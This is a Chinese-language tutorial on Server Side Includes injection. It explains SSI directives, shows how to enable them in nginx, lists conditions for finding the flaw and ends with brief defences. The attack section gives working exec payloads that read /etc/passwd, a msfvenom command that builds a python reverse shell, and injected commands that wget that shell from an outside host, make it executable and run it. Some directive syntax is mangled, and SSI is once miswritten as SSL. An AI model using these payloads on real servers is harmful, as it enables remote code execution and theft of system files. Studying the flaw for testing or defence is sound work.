简介
SSI是英文Server Side Includes的缩写,翻译成中文就是服务器端包含的意思。从技术角度上说,SSI就是在HTML文件中,可以通过注释行调用的命令或指针。SSI具有强大的功能,只要使用一条简单的SSI命令就可以实现整个网站的内容更新,时间和日期的动态显示,以及执行shell和CGI脚本程序等复杂的功能。SSI可以称得上是那些资金短缺、时间紧张、工作量大的网站开发人员的最佳帮手。
(Server-side Includes)服务器端包含提供了一种对现有HTML文档增加动态内容的方法。apache和iis都可以通过配置支持SSI(默认Apache不开启SSI,SSI这种技术已经比较少用了),在网页内容被返回给用户之前,服务器会执行网页内容中的SSI标签。在很多场景中,用户输入的内容可以显示在页面中,比如一个存在反射XSS漏洞的页面,如果输入的payload不是xss代码而是ssi的标签,服务器又开启了ssi支持的话就会存在SSI漏洞。
环境配置
修改nginx.conf文件来启用SSI:
ssi on;
ssi_silent_errors off;
ssi_types text/shtml;
![](https://img2018.cnblogs.com/i-beta/1853528/201911/1853528-20191109152721829-584727251.png)
SSI语法
![](https://img2018.cnblogs.com/i-beta/1853528/201911/1853528-20191109152758961-1057198280.png)
显示服务器端环境变量<#echo>
1、获取本文档名称:
<!–#echo var="DOCUMENT_NAME"–>
2、获取当前时间:
<!–#echo var="DATE_LOCAL"–>
3、获取当前IP:
<! #echo var="REMOTE_ADDR"–>
将文本内容直接插入到文档中<#include>
注:file包含文件可以在同一级目录或其子目录中,但不能在上一级目录中,virtual包含文件可以是Web站点上的虚拟目录的完整路径
<! #include file="文件名称"–>
如:
<!--#include virtual="index.html" -->
<! #include virtual="文件名称"–>
如:
<!--#include virtual="/www/footer.html" -->
显示WEB文档相关信息<#flastmod><#fsize>(如文件制作日期/大小等)
1、获取文件最近更新日期:
<! #flastmod file="文件名称"–>
2、获取文件的长度:
<!–#fsize file="文件名称"–>
直接执行服务器上的各种程序<#exec>(如CGI或其他可执行程序)
1、<!–#exec cmd="文件名称"–>
<!--#exec cmd="cat /etc/passwd"-->
2、<!–#exec cgi="文件名称"–>
<!--#exec cgi="/cgi-bin/access_log.cgi"–>
漏洞挖掘
在很多业务中,用户输入的内容会显示在页面中。比如,一个存在反射型XSS漏洞的页面,如果服务器开启了对SSI的支持的话也会存在SSI漏洞。
满足以下三个条件存在SSL注入:
- Web服务器支持SSI;
- 用户输入内容,返回在HTML页面中;
- 参数值未进行输入清理
常见的业务场景
1、存在.stm,.shtm和.shtml文件。如果该网站使用了.shtml文件,那说明该网站支持SSI指令。后缀名并非是强制规定的,因此如果没有发现任何.shtml文件,并不意味着目标网站没有受到SSI注入攻击的可能。
2、获取IP、定位、时间等功能模块处
获取shell
当服务器为Linux的时候,可以使用MSF生成一个python shell:
msfvenom -p python/meterpreter/reverse_tcp lhost=10.20.40.xx lport=4444
把该pyshell上传至公网服务器上后执行以下命令:
<!--#exec cmd="wget https://github.com/pyshell.py"-->
再对pyshell赋予可执行权限:
<!--#exec cmd="chmod 777 pyshell.py" -->
最后运行pyshell就可以获取到shell了:
<!--#exec cmd="python pyshell.py" -->
SRC案例
"-->'-->`--><<!--#exec cmd="cat /etc/passwd"-->
防御
- 关闭服务器SSI功能
- 过滤相关SSI特殊字符(`<,>,#,-,",'`)